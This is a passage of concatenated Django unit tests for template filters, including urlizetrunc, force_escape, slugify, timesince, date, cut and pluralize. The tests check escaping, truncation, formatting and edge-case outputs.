from django.utils.safestring import mark_safe

from ..utils import setup


class UrlizetruncTests(SimpleTestCase):

    @setup({
        'urlizetrunc01': '{% autoescape off %}{{ a|urlizetrunc:"8" }} {{ b|urlizetrunc:"8" }}{% endautoescape %}'
    })
    def test_urlizetrunc01(self):
        output = self.engine.render_to_string(
            'urlizetrunc01',
            {
                'a': '"Unsafe" http://example.com/x=&y=',
                'b': mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y='),
            },
        )
        self.assertEqual(
            output,
            '"Unsafe" <a href="http://example.com/x=&amp;y=" rel="nofollow">http:...</a> '
            '&quot;Safe&quot; <a href="http://example.com?x=&amp;y=" rel="nofollow">http:...</a>'
        )

    @setup({'urlizetrunc02': '{{ a|urlizetrunc:"8" }} {{ b|urlizetrunc:"8" }}'})
    def test_urlizetrunc02(self):
        output = self.engine.render_to_string(
            'urlizetrunc02',
            {
                'a': '"Unsafe" http://example.com/x=&y=',
                'b': mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y='),
            },
        )
        self.assertEqual(
            output,
            '&quot;Unsafe&quot; <a href="http://example.com/x=&amp;y=" rel="nofollow">http:...</a> '
            '&quot;Safe&quot; <a href="http://example.com?x=&amp;y=" rel="nofollow">http:...</a>'
        )


class FunctionTests(SimpleTestCase):

    def test_truncate(self):
        uri = 'http://31characteruri.com/test/'
        self.assertEqual(len(uri), 31)

        self.assertEqual(
            urlizetrunc(uri, 31),
            '<a href="http://31characteruri.com/test/" rel="nofollow">'
            'http://31characteruri.com/test/</a>',
        )

        self.assertEqual(
            urlizetrunc(uri, 30),
            '<a href="http://31characteruri.com/test/" rel="nofollow">'
            'http://31characteruri.com/t...</a>',
        )

        self.assertEqual(
            urlizetrunc(uri, 2),
            '<a href="http://31characteruri.com/test/"'
            ' rel="nofollow">...</a>',
        )

    def test_overtruncate(self):
        self.assertEqual(
            urlizetrunc('http://short.com/', 20), '<a href='
            '"http://short.com/" rel="nofollow">http://short.com/</a>',
        )

    def test_query_string(self):
        self.assertEqual(
            urlizetrunc('http://www.google.co.uk/search?hl=en&q=some+long+url&btnG=Search&meta=', 20),
            '<a href="http://www.google.co.uk/search?hl=en&amp;q=some+long+url&amp;btnG=Search&amp;'
            'meta=" rel="nofollow">http://www.google...</a>',
        )

    def test_non_string_input(self):
        self.assertEqual(urlizetrunc(123, 1), '123')

    def test_autoescape(self):
        self.assertEqual(
            urlizetrunc('foo<a href=" google.com ">bar</a>buz', 10),
            'foo&lt;a href=&quot; <a href="http://google.com" rel="nofollow">google.com</a> &quot;&gt;bar&lt;/a&gt;buz'
        )

    def test_autoescape_off(self):
        self.assertEqual(
            urlizetrunc('foo<a href=" google.com ">bar</a>buz', 9, autoescape=False),
            'foo<a href=" <a href="http://google.com" rel="nofollow">google...</a> ">bar</a>buz',
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import force_escape
from django.test import SimpleTestCase, ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.safestring import SafeData

from ..utils import setup


class ForceEscapeTests(SimpleTestCase):
    """
    Force_escape is applied immediately. It can be used to provide
    double-escaping, for example.
    """

    @setup({'force-escape01': '{% autoescape off %}{{ a|force_escape }}{% endautoescape %}'})
    def test_force_escape01(self):
        output = self.engine.render_to_string('force-escape01', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    @setup({'force-escape02': '{{ a|force_escape }}'})
    def test_force_escape02(self):
        output = self.engine.render_to_string('force-escape02', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    @setup({'force-escape03': '{% autoescape off %}{{ a|force_escape|force_escape }}{% endautoescape %}'})
    def test_force_escape03(self):
        output = self.engine.render_to_string('force-escape03', {"a": "x&y"})
        self.assertEqual(output, "x&amp;amp;y")

    @setup({'force-escape04': '{{ a|force_escape|force_escape }}'})
    def test_force_escape04(self):
        output = self.engine.render_to_string('force-escape04', {"a": "x&y"})
        self.assertEqual(output, "x&amp;amp;y")

    # Because the result of force_escape is "safe", an additional
    # escape filter has no effect (to be changed in Django 2.0).
    @ignore_warnings(category=RemovedInDjango20Warning)
    @setup({'force-escape05': '{% autoescape off %}{{ a|force_escape|escape }}{% endautoescape %}'})
    def test_force_escape05(self):
        output = self.engine.render_to_string('force-escape05', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    @setup({'force-escape06': '{{ a|force_escape|escape }}'})
    def test_force_escape06(self):
        output = self.engine.render_to_string('force-escape06', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    @ignore_warnings(category=RemovedInDjango20Warning)
    @setup({'force-escape07': '{% autoescape off %}{{ a|escape|force_escape }}{% endautoescape %}'})
    def test_force_escape07(self):
        output = self.engine.render_to_string('force-escape07', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    @ignore_warnings(category=RemovedInDjango20Warning)
    @setup({'force-escape08': '{{ a|escape|force_escape }}'})
    def test_force_escape08(self):
        output = self.engine.render_to_string('force-escape08', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")


class FunctionTests(SimpleTestCase):

    def test_escape(self):
        escaped = force_escape('<some html & special characters > here')
        self.assertEqual(escaped, '&lt;some html &amp; special characters &gt; here')
        self.assertIsInstance(escaped, SafeData)

    def test_unicode(self):
        self.assertEqual(
            force_escape('<some html & special characters > here ĐÅ€£'),
            '&lt;some html &amp; special characters &gt; here \u0110\xc5\u20ac\xa3',
        )






from django.template.defaultfilters import divisibleby
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_true(self):
        self.assertIs(divisibleby(4, 2), True)

    def test_false(self):
        self.assertIs(divisibleby(4, 3), False)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import slugify
from django.test import SimpleTestCase
from django.utils import six
from django.utils.encoding import force_text
from django.utils.functional import lazy
from django.utils.safestring import mark_safe

from ..utils import setup


class SlugifyTests(SimpleTestCase):
    """
    Running slugify on a pre-escaped string leads to odd behavior,
    but the result is still safe.
    """

    @setup({'slugify01': '{% autoescape off %}{{ a|slugify }} {{ b|slugify }}{% endautoescape %}'})
    def test_slugify01(self):
        output = self.engine.render_to_string('slugify01', {'a': 'a & b', 'b': mark_safe('a &amp; b')})
        self.assertEqual(output, 'a-b a-amp-b')

    @setup({'slugify02': '{{ a|slugify }} {{ b|slugify }}'})
    def test_slugify02(self):
        output = self.engine.render_to_string('slugify02', {'a': 'a & b', 'b': mark_safe('a &amp; b')})
        self.assertEqual(output, 'a-b a-amp-b')


class FunctionTests(SimpleTestCase):

    def test_slugify(self):
        self.assertEqual(
            slugify(' Jack & Jill like numbers 1,2,3 and 4 and silly characters ?%.$!/'),
            'jack-jill-like-numbers-123-and-4-and-silly-characters',
        )

    def test_unicode(self):
        self.assertEqual(
            slugify("Un \xe9l\xe9phant \xe0 l'or\xe9e du bois"),
            'un-elephant-a-loree-du-bois',
        )

    def test_non_string_input(self):
        self.assertEqual(slugify(123), '123')

    def test_slugify_lazy_string(self):
        lazy_str = lazy(lambda string: force_text(string), six.text_type)
        self.assertEqual(
            slugify(lazy_str(' Jack & Jill like numbers 1,2,3 and 4 and silly characters ?%.$!/')),
            'jack-jill-like-numbers-123-and-4-and-silly-characters',
        )






from django.template.defaultfilters import length
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class LengthTests(SimpleTestCase):

    @setup({'length01': '{{ list|length }}'})
    def test_length01(self):
        output = self.engine.render_to_string('length01', {'list': ['4', None, True, {}]})
        self.assertEqual(output, '4')

    @setup({'length02': '{{ list|length }}'})
    def test_length02(self):
        output = self.engine.render_to_string('length02', {'list': []})
        self.assertEqual(output, '0')

    @setup({'length03': '{{ string|length }}'})
    def test_length03(self):
        output = self.engine.render_to_string('length03', {'string': ''})
        self.assertEqual(output, '0')

    @setup({'length04': '{{ string|length }}'})
    def test_length04(self):
        output = self.engine.render_to_string('length04', {'string': 'django'})
        self.assertEqual(output, '6')

    @setup({'length05': '{% if string|length == 6 %}Pass{% endif %}'})
    def test_length05(self):
        output = self.engine.render_to_string('length05', {'string': mark_safe('django')})
        self.assertEqual(output, 'Pass')

    # Invalid uses that should fail silently.
    @setup({'length06': '{{ int|length }}'})
    def test_length06(self):
        output = self.engine.render_to_string('length06', {'int': 7})
        self.assertEqual(output, '0')

    @setup({'length07': '{{ None|length }}'})
    def test_length07(self):
        output = self.engine.render_to_string('length07', {'None': None})
        self.assertEqual(output, '0')


class FunctionTests(SimpleTestCase):

    def test_string(self):
        self.assertEqual(length('1234'), 4)

    def test_safestring(self):
        self.assertEqual(length(mark_safe('1234')), 4)

    def test_list(self):
        self.assertEqual(length([1, 2, 3, 4]), 4)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import urlencode
from django.test import SimpleTestCase

from ..utils import setup


class UrlencodeTests(SimpleTestCase):

    @setup({'urlencode01': '{{ url|urlencode }}'})
    def test_urlencode01(self):
        output = self.engine.render_to_string('urlencode01', {'url': '/test&"/me?/'})
        self.assertEqual(output, '/test%26%22/me%3F/')

    @setup({'urlencode02': '/test/{{ urlbit|urlencode:"" }}/'})
    def test_urlencode02(self):
        output = self.engine.render_to_string('urlencode02', {'urlbit': 'escape/slash'})
        self.assertEqual(output, '/test/escape%2Fslash/')


class FunctionTests(SimpleTestCase):

    def test_urlencode(self):
        self.assertEqual(urlencode('fran\xe7ois & jill'), 'fran%C3%A7ois%20%26%20jill')

    def test_non_string_input(self):
        self.assertEqual(urlencode(1), '1')






from django.template.defaultfilters import slice_filter
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class SliceTests(SimpleTestCase):

    @setup({'slice01': '{{ a|slice:"1:3" }} {{ b|slice:"1:3" }}'})
    def test_slice01(self):
        output = self.engine.render_to_string('slice01', {'a': 'a&b', 'b': mark_safe('a&b')})
        self.assertEqual(output, '&amp;b &b')

    @setup({'slice02': '{% autoescape off %}{{ a|slice:"1:3" }} {{ b|slice:"1:3" }}{% endautoescape %}'})
    def test_slice02(self):
        output = self.engine.render_to_string('slice02', {'a': 'a&b', 'b': mark_safe('a&b')})
        self.assertEqual(output, '&b &b')


class FunctionTests(SimpleTestCase):

    def test_zero_length(self):
        self.assertEqual(slice_filter('abcdefg', '0'), '')

    def test_index(self):
        self.assertEqual(slice_filter('abcdefg', '1'), 'a')

    def test_negative_index(self):
        self.assertEqual(slice_filter('abcdefg', '-1'), 'abcdef')

    def test_range(self):
        self.assertEqual(slice_filter('abcdefg', '1:2'), 'b')

    def test_range_multiple(self):
        self.assertEqual(slice_filter('abcdefg', '1:3'), 'bc')

    def test_range_step(self):
        self.assertEqual(slice_filter('abcdefg', '0::2'), 'aceg')






from __future__ import unicode_literals

from datetime import datetime, timedelta

from django.template.defaultfilters import timesince_filter
from django.test import SimpleTestCase
from django.test.utils import requires_tz_support

from ..utils import setup
from .timezone_utils import TimezoneTestCase


class TimesinceTests(TimezoneTestCase):
    """
    #20246 - \xa0 in output avoids line-breaks between value and unit
    """

    # Default compare with datetime.now()
    @setup({'timesince01': '{{ a|timesince }}'})
    def test_timesince01(self):
        output = self.engine.render_to_string(
            'timesince01', {'a': datetime.now() + timedelta(minutes=-1, seconds=-10)}
        )
        self.assertEqual(output, '1\xa0minute')

    @setup({'timesince02': '{{ a|timesince }}'})
    def test_timesince02(self):
        output = self.engine.render_to_string(
            'timesince02', {'a': datetime.now() - timedelta(days=1, minutes=1)}
        )
        self.assertEqual(output, '1\xa0day')

    @setup({'timesince03': '{{ a|timesince }}'})
    def test_timesince03(self):
        output = self.engine.render_to_string(
            'timesince03', {'a': datetime.now() - timedelta(hours=1, minutes=25, seconds=10)}
        )
        self.assertEqual(output, '1\xa0hour, 25\xa0minutes')

    # Compare to a given parameter
    @setup({'timesince04': '{{ a|timesince:b }}'})
    def test_timesince04(self):
        output = self.engine.render_to_string(
            'timesince04',
            {'a': self.now - timedelta(days=2), 'b': self.now - timedelta(days=1)},
        )
        self.assertEqual(output, '1\xa0day')

    @setup({'timesince05': '{{ a|timesince:b }}'})
    def test_timesince05(self):
        output = self.engine.render_to_string(
            'timesince05',
            {'a': self.now - timedelta(days=2, minutes=1), 'b': self.now - timedelta(days=2)},
        )
        self.assertEqual(output, '1\xa0minute')

    # Check that timezone is respected
    @setup({'timesince06': '{{ a|timesince:b }}'})
    def test_timesince06(self):
        output = self.engine.render_to_string('timesince06', {'a': self.now_tz - timedelta(hours=8), 'b': self.now_tz})
        self.assertEqual(output, '8\xa0hours')

    # Tests for #7443
    @setup({'timesince07': '{{ earlier|timesince }}'})
    def test_timesince07(self):
        output = self.engine.render_to_string('timesince07', {'earlier': self.now - timedelta(days=7)})
        self.assertEqual(output, '1\xa0week')

    @setup({'timesince08': '{{ earlier|timesince:now }}'})
    def test_timesince08(self):
        output = self.engine.render_to_string(
            'timesince08', {'now': self.now, 'earlier': self.now - timedelta(days=7)}
        )
        self.assertEqual(output, '1\xa0week')

    @setup({'timesince09': '{{ later|timesince }}'})
    def test_timesince09(self):
        output = self.engine.render_to_string('timesince09', {'later': self.now + timedelta(days=7)})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timesince10': '{{ later|timesince:now }}'})
    def test_timesince10(self):
        output = self.engine.render_to_string('timesince10', {'now': self.now, 'later': self.now + timedelta(days=7)})
        self.assertEqual(output, '0\xa0minutes')

    # Ensures that differing timezones are calculated correctly.
    @setup({'timesince11': '{{ a|timesince }}'})
    def test_timesince11(self):
        output = self.engine.render_to_string('timesince11', {'a': self.now})
        self.assertEqual(output, '0\xa0minutes')

    @requires_tz_support
    @setup({'timesince12': '{{ a|timesince }}'})
    def test_timesince12(self):
        output = self.engine.render_to_string('timesince12', {'a': self.now_tz})
        self.assertEqual(output, '0\xa0minutes')

    @requires_tz_support
    @setup({'timesince13': '{{ a|timesince }}'})
    def test_timesince13(self):
        output = self.engine.render_to_string('timesince13', {'a': self.now_tz_i})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timesince14': '{{ a|timesince:b }}'})
    def test_timesince14(self):
        output = self.engine.render_to_string('timesince14', {'a': self.now_tz, 'b': self.now_tz_i})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timesince15': '{{ a|timesince:b }}'})
    def test_timesince15(self):
        output = self.engine.render_to_string('timesince15', {'a': self.now, 'b': self.now_tz_i})
        self.assertEqual(output, '')

    @setup({'timesince16': '{{ a|timesince:b }}'})
    def test_timesince16(self):
        output = self.engine.render_to_string('timesince16', {'a': self.now_tz_i, 'b': self.now})
        self.assertEqual(output, '')

    # Tests for #9065 (two date objects).
    @setup({'timesince17': '{{ a|timesince:b }}'})
    def test_timesince17(self):
        output = self.engine.render_to_string('timesince17', {'a': self.today, 'b': self.today})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timesince18': '{{ a|timesince:b }}'})
    def test_timesince18(self):
        output = self.engine.render_to_string('timesince18', {'a': self.today, 'b': self.today + timedelta(hours=24)})
        self.assertEqual(output, '1\xa0day')


class FunctionTests(SimpleTestCase):

    def test_since_now(self):
        self.assertEqual(timesince_filter(datetime.now() - timedelta(1)), '1\xa0day')

    def test_explicit_date(self):
        self.assertEqual(timesince_filter(datetime(2005, 12, 29), datetime(2005, 12, 30)), '1\xa0day')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import truncatechars_html
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_truncate_zero(self):
        self.assertEqual(truncatechars_html('<p>one <a href="#">two - three <br>four</a> five</p>', 0), '...')

    def test_truncate(self):
        self.assertEqual(
            truncatechars_html('<p>one <a href="#">two - three <br>four</a> five</p>', 6),
            '<p>one...</p>',
        )

    def test_truncate2(self):
        self.assertEqual(
            truncatechars_html('<p>one <a href="#">two - three <br>four</a> five</p>', 11),
            '<p>one <a href="#">two ...</a></p>',
        )

    def test_truncate3(self):
        self.assertEqual(
            truncatechars_html('<p>one <a href="#">two - three <br>four</a> five</p>', 100),
            '<p>one <a href="#">two - three <br>four</a> five</p>',
        )

    def test_truncate_unicode(self):
        self.assertEqual(truncatechars_html('<b>\xc5ngstr\xf6m</b> was here', 5), '<b>\xc5n...</b>')

    def test_truncate_something(self):
        self.assertEqual(truncatechars_html('a<b>b</b>c', 3), 'a<b>b</b>c')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import iriencode, urlencode
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class IriencodeTests(SimpleTestCase):
    """
    Ensure iriencode keeps safe strings.
    """

    @setup({'iriencode01': '{{ url|iriencode }}'})
    def test_iriencode01(self):
        output = self.engine.render_to_string('iriencode01', {'url': '?test=1&me=2'})
        self.assertEqual(output, '?test=1&amp;me=2')

    @setup({'iriencode02': '{% autoescape off %}{{ url|iriencode }}{% endautoescape %}'})
    def test_iriencode02(self):
        output = self.engine.render_to_string('iriencode02', {'url': '?test=1&me=2'})
        self.assertEqual(output, '?test=1&me=2')

    @setup({'iriencode03': '{{ url|iriencode }}'})
    def test_iriencode03(self):
        output = self.engine.render_to_string('iriencode03', {'url': mark_safe('?test=1&me=2')})
        self.assertEqual(output, '?test=1&me=2')

    @setup({'iriencode04': '{% autoescape off %}{{ url|iriencode }}{% endautoescape %}'})
    def test_iriencode04(self):
        output = self.engine.render_to_string('iriencode04', {'url': mark_safe('?test=1&me=2')})
        self.assertEqual(output, '?test=1&me=2')


class FunctionTests(SimpleTestCase):

    def test_unicode(self):
        self.assertEqual(iriencode('S\xf8r-Tr\xf8ndelag'), 'S%C3%B8r-Tr%C3%B8ndelag')

    def test_urlencoded(self):
        self.assertEqual(iriencode(urlencode('fran\xe7ois & jill')), 'fran%C3%A7ois%20%26%20jill')






from datetime import datetime, time

from django.template.defaultfilters import date
from django.test import SimpleTestCase, override_settings
from django.utils import timezone, translation

from ..utils import setup
from .timezone_utils import TimezoneTestCase


class DateTests(TimezoneTestCase):

    @setup({'date01': '{{ d|date:"m" }}'})
    def test_date01(self):
        output = self.engine.render_to_string('date01', {'d': datetime(2008, 1, 1)})
        self.assertEqual(output, '01')

    @setup({'date02': '{{ d|date }}'})
    def test_date02(self):
        output = self.engine.render_to_string('date02', {'d': datetime(2008, 1, 1)})
        self.assertEqual(output, 'Jan. 1, 2008')

    @override_settings(USE_L10N=True)
    @setup({'date02_l10n': '{{ d|date }}'})
    def test_date02_l10n(self):
        """
        Without arg and when USE_L10N is True, the active language's DATE_FORMAT
        is used.
        """
        with translation.override('fr'):
            output = self.engine.render_to_string('date02_l10n', {'d': datetime(2008, 1, 1)})
        self.assertEqual(output, '1 janvier 2008')

    @setup({'date03': '{{ d|date:"m" }}'})
    def test_date03(self):
        """
        #9520: Make sure |date doesn't blow up on non-dates
        """
        output = self.engine.render_to_string('date03', {'d': 'fail_string'})
        self.assertEqual(output, '')

    # ISO date formats
    @setup({'date04': '{{ d|date:"o" }}'})
    def test_date04(self):
        output = self.engine.render_to_string('date04', {'d': datetime(2008, 12, 29)})
        self.assertEqual(output, '2009')

    @setup({'date05': '{{ d|date:"o" }}'})
    def test_date05(self):
        output = self.engine.render_to_string('date05', {'d': datetime(2010, 1, 3)})
        self.assertEqual(output, '2009')

    # Timezone name
    @setup({'date06': '{{ d|date:"e" }}'})
    def test_date06(self):
        output = self.engine.render_to_string(
            'date06', {'d': datetime(2009, 3, 12, tzinfo=timezone.get_fixed_timezone(30))}
        )
        self.assertEqual(output, '+0030')

    @setup({'date07': '{{ d|date:"e" }}'})
    def test_date07(self):
        output = self.engine.render_to_string('date07', {'d': datetime(2009, 3, 12)})
        self.assertEqual(output, '')

    # #19370: Make sure |date doesn't blow up on a midnight time object
    @setup({'date08': '{{ t|date:"H:i" }}'})
    def test_date08(self):
        output = self.engine.render_to_string('date08', {'t': time(0, 1)})
        self.assertEqual(output, '00:01')

    @setup({'date09': '{{ t|date:"H:i" }}'})
    def test_date09(self):
        output = self.engine.render_to_string('date09', {'t': time(0, 0)})
        self.assertEqual(output, '00:00')


class FunctionTests(SimpleTestCase):

    def test_date(self):
        self.assertEqual(date(datetime(2005, 12, 29), "d F Y"), '29 December 2005')

    def test_escape_characters(self):
        self.assertEqual(date(datetime(2005, 12, 29), r'jS \o\f F'), '29th of December')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import title
from django.test import SimpleTestCase

from ..utils import setup


class TitleTests(SimpleTestCase):

    @setup({'title1': '{{ a|title }}'})
    def test_title1(self):
        output = self.engine.render_to_string('title1', {'a': 'JOE\'S CRAB SHACK'})
        self.assertEqual(output, 'Joe&#39;s Crab Shack')

    @setup({'title2': '{{ a|title }}'})
    def test_title2(self):
        output = self.engine.render_to_string('title2', {'a': '555 WEST 53RD STREET'})
        self.assertEqual(output, '555 West 53rd Street')


class FunctionTests(SimpleTestCase):

    def test_title(self):
        self.assertEqual(title('a nice title, isn\'t it?'), "A Nice Title, Isn't It?")

    def test_unicode(self):
        self.assertEqual(title('discoth\xe8que'), 'Discoth\xe8que')

    def test_non_string_input(self):
        self.assertEqual(title(123), '123')






from django.template.defaultfilters import linebreaksbr
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class LinebreaksbrTests(SimpleTestCase):
    """
    The contents in "linebreaksbr" are escaped according to the current
    autoescape setting.
    """

    @setup({'linebreaksbr01': '{{ a|linebreaksbr }} {{ b|linebreaksbr }}'})
    def test_linebreaksbr01(self):
        output = self.engine.render_to_string('linebreaksbr01', {"a": "x&\ny", "b": mark_safe("x&\ny")})
        self.assertEqual(output, "x&amp;<br />y x&<br />y")

    @setup({'linebreaksbr02': '{% autoescape off %}{{ a|linebreaksbr }} {{ b|linebreaksbr }}{% endautoescape %}'})
    def test_linebreaksbr02(self):
        output = self.engine.render_to_string('linebreaksbr02', {"a": "x&\ny", "b": mark_safe("x&\ny")})
        self.assertEqual(output, "x&<br />y x&<br />y")


class FunctionTests(SimpleTestCase):

    def test_newline(self):
        self.assertEqual(linebreaksbr('line 1\nline 2'), 'line 1<br />line 2')

    def test_carriage(self):
        self.assertEqual(linebreaksbr('line 1\rline 2'), 'line 1<br />line 2')

    def test_carriage_newline(self):
        self.assertEqual(linebreaksbr('line 1\r\nline 2'), 'line 1<br />line 2')

    def test_non_string_input(self):
        self.assertEqual(linebreaksbr(123), '123')

    def test_autoescape(self):
        self.assertEqual(
            linebreaksbr('foo\n<a>bar</a>\nbuz'),
            'foo<br />&lt;a&gt;bar&lt;/a&gt;<br />buz',
        )

    def test_autoescape_off(self):
        self.assertEqual(
            linebreaksbr('foo\n<a>bar</a>\nbuz', autoescape=False),
            'foo<br /><a>bar</a><br />buz',
        )






from datetime import date, timedelta

from django.template.defaultfilters import add
from django.test import SimpleTestCase

from ..utils import setup


class AddTests(SimpleTestCase):
    """
    Tests for #11687 and #16676
    """

    @setup({'add01': '{{ i|add:"5" }}'})
    def test_add01(self):
        output = self.engine.render_to_string('add01', {'i': 2000})
        self.assertEqual(output, '2005')

    @setup({'add02': '{{ i|add:"napis" }}'})
    def test_add02(self):
        output = self.engine.render_to_string('add02', {'i': 2000})
        self.assertEqual(output, '')

    @setup({'add03': '{{ i|add:16 }}'})
    def test_add03(self):
        output = self.engine.render_to_string('add03', {'i': 'not_an_int'})
        self.assertEqual(output, '')

    @setup({'add04': '{{ i|add:"16" }}'})
    def test_add04(self):
        output = self.engine.render_to_string('add04', {'i': 'not_an_int'})
        self.assertEqual(output, 'not_an_int16')

    @setup({'add05': '{{ l1|add:l2 }}'})
    def test_add05(self):
        output = self.engine.render_to_string('add05', {'l1': [1, 2], 'l2': [3, 4]})
        self.assertEqual(output, '[1, 2, 3, 4]')

    @setup({'add06': '{{ t1|add:t2 }}'})
    def test_add06(self):
        output = self.engine.render_to_string('add06', {'t1': (3, 4), 't2': (1, 2)})
        self.assertEqual(output, '(3, 4, 1, 2)')

    @setup({'add07': '{{ d|add:t }}'})
    def test_add07(self):
        output = self.engine.render_to_string('add07', {'d': date(2000, 1, 1), 't': timedelta(10)})
        self.assertEqual(output, 'Jan. 11, 2000')


class FunctionTests(SimpleTestCase):

    def test_add(self):
        self.assertEqual(add('1', '2'), 3)






from decimal import Decimal

from django.template.defaultfilters import pluralize
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_integers(self):
        self.assertEqual(pluralize(1), '')
        self.assertEqual(pluralize(0), 's')
        self.assertEqual(pluralize(2), 's')

    def test_floats(self):
        self.assertEqual(pluralize(0.5), 's')
        self.assertEqual(pluralize(1.5), 's')

    def test_decimals(self):
        self.assertEqual(pluralize(Decimal(1)), '')
        self.assertEqual(pluralize(Decimal(0)), 's')
        self.assertEqual(pluralize(Decimal(2)), 's')

    def test_lists(self):
        self.assertEqual(pluralize([1]), '')
        self.assertEqual(pluralize([]), 's')
        self.assertEqual(pluralize([1, 2, 3]), 's')

    def test_suffixes(self):
        self.assertEqual(pluralize(1, 'es'), '')
        self.assertEqual(pluralize(0, 'es'), 'es')
        self.assertEqual(pluralize(2, 'es'), 'es')
        self.assertEqual(pluralize(1, 'y,ies'), 'y')
        self.assertEqual(pluralize(0, 'y,ies'), 'ies')
        self.assertEqual(pluralize(2, 'y,ies'), 'ies')
        self.assertEqual(pluralize(0, 'y,ies,error'), '')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import truncatewords_html
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_truncate_zero(self):
        self.assertEqual(truncatewords_html('<p>one <a href="#">two - three <br>four</a> five</p>', 0), '')

    def test_truncate(self):
        self.assertEqual(
            truncatewords_html('<p>one <a href="#">two - three <br>four</a> five</p>', 2),
            '<p>one <a href="#">two ...</a></p>',
        )

    def test_truncate2(self):
        self.assertEqual(
            truncatewords_html('<p>one <a href="#">two - three <br>four</a> five</p>', 4),
            '<p>one <a href="#">two - three <br>four ...</a></p>',
        )

    def test_truncate3(self):
        self.assertEqual(
            truncatewords_html('<p>one <a href="#">two - three <br>four</a> five</p>', 5),
            '<p>one <a href="#">two - three <br>four</a> five</p>',
        )

    def test_truncate4(self):
        self.assertEqual(
            truncatewords_html('<p>one <a href="#">two - three <br>four</a> five</p>', 100),
            '<p>one <a href="#">two - three <br>four</a> five</p>',
        )

    def test_truncate_unicode(self):
        self.assertEqual(truncatewords_html('\xc5ngstr\xf6m was here', 1), '\xc5ngstr\xf6m ...')

    def test_truncate_complex(self):
        self.assertEqual(
            truncatewords_html('<i>Buenos d&iacute;as! &#x00bf;C&oacute;mo est&aacute;?</i>', 3),
            '<i>Buenos d&iacute;as! &#x00bf;C&oacute;mo ...</i>',
        )






from django.template.defaultfilters import cut
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class CutTests(SimpleTestCase):

    @setup({'cut01': '{% autoescape off %}{{ a|cut:"x" }} {{ b|cut:"x" }}{% endautoescape %}'})
    def test_cut01(self):
        output = self.engine.render_to_string('cut01', {"a": "x&y", "b": mark_safe("x&amp;y")})
        self.assertEqual(output, "&y &amp;y")

    @setup({'cut02': '{{ a|cut:"x" }} {{ b|cut:"x" }}'})
    def test_cut02(self):
        output = self.engine.render_to_string('cut02', {"a": "x&y", "b": mark_safe("x&amp;y")})
        self.assertEqual(output, "&amp;y &amp;y")

    @setup({'cut03': '{% autoescape off %}{{ a|cut:"&" }} {{ b|cut:"&" }}{% endautoescape %}'})
    def test_cut03(self):
        output = self.engine.render_to_string('cut03', {"a": "x&y", "b": mark_safe("x&amp;y")})
        self.assertEqual(output, "xy xamp;y")

    @setup({'cut04': '{{ a|cut:"&" }} {{ b|cut:"&" }}'})
    def test_cut04(self):
        output = self.engine.render_to_string('cut04', {"a": "x&y", "b": mark_safe("x&amp;y")})
        self.assertEqual(output, "xy xamp;y")

    # Passing ';' to cut can break existing HTML entities, so those strings
    # are auto-escaped.
    @setup({'cut05': '{% autoescape off %}{{ a|cut:";" }} {{ b|cut:";" }}{% endautoescape %}'})
    def test_cut05(self):
        output = self.engine.render_to_string('cut05', {"a": "x&y", "b": mark_safe("x&amp;y")})
        self.assertEqual(output, "x&y x&ampy")

    @setup({'cut06': '{{ a|cut:";" }} {{ b|cut:";" }}'})
    def test_cut06(self):
        output = self.engine.render_to_string('cut06', {"a": "x&y", "b": mark_safe("x&amp;y")})
        self.assertEqual(output, "x&amp;y x&amp;ampy")


class FunctionTests(SimpleTestCase):

    def test_character(self):
        self.assertEqual(cut('a string to be mangled', 'a'), ' string to be mngled')

    def test_characters(self):
        self.assertEqual(cut('a string to be mangled', 'ng'), 'a stri to be maled')

    def test_non_matching_string(self):
        self.assertEqual(cut('a string to be mangled', 'strings'), 'a string to be mangled')

    def test_non_string_input(self):
        self.assertEqual(cut(123, '2'), '13')






from django.template.defaultfilters import default_if_none
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_value(self):
        self.assertEqual(default_if_none("val", 'default'), 'val')

    def test_none(self):
        self.assertEqual(default_if_none(None, 'default'), 'default')

    def test_empty_string(self):
        self.assertEqual(default_if_none('', 'default'), '')






# coding: utf-8
from __future__ import unicode_literals

from django.template import TemplateSyntaxError
from django.test import SimpleTestCase
from django.utils import translation
from django.utils.safestring import mark_safe

from ..utils import setup


class I18nTagTests(SimpleTestCase):
    libraries = {
        'custom': 'template_tests.templatetags.custom',
        'i18n': 'django.templatetags.i18n',
    }

    @setup({'i18n01': '{% load i18n %}{% trans \'xxxyyyxxx\' %}'})
    def test_i18n01(self):
        """
        simple translation of a string delimited by '
        """
        output = self.engine.render_to_string('i18n01')
        self.assertEqual(output, 'xxxyyyxxx')

    @setup({'i18n02': '{% load i18n %}{% trans "xxxyyyxxx" %}'})
    def test_i18n02(self):
        """
